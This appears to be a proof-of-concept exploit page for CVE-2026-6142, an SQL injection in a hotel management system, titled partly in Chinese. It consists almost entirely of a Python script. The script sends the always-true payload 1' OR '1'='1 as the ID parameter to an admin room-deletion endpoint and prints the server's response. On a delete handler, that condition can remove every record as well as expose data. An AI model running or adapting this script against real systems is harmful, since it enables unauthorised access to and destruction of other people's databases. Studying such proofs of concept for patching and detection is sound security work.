CVE-2026-6142 Hotel Management系统SQL注入漏洞

import requests # Target URL configuration target_url = "http://target-host.com/admin/roomdelete.php" # Malicious payload to test SQL Injection # Using a simple logical check: 1' OR '1'='1 payload = "1' OR '1'='1" # Parameters to be sent params = { "ID": payload } try: # Send GET request to the vulnerable endpoint response = requests.get(target_url, params=params, timeout=10) # Check if the request was successful if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) # Further analysis of response content is needed to confirm data leakage # e.g., looking for database errors or unexpected data returns else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}")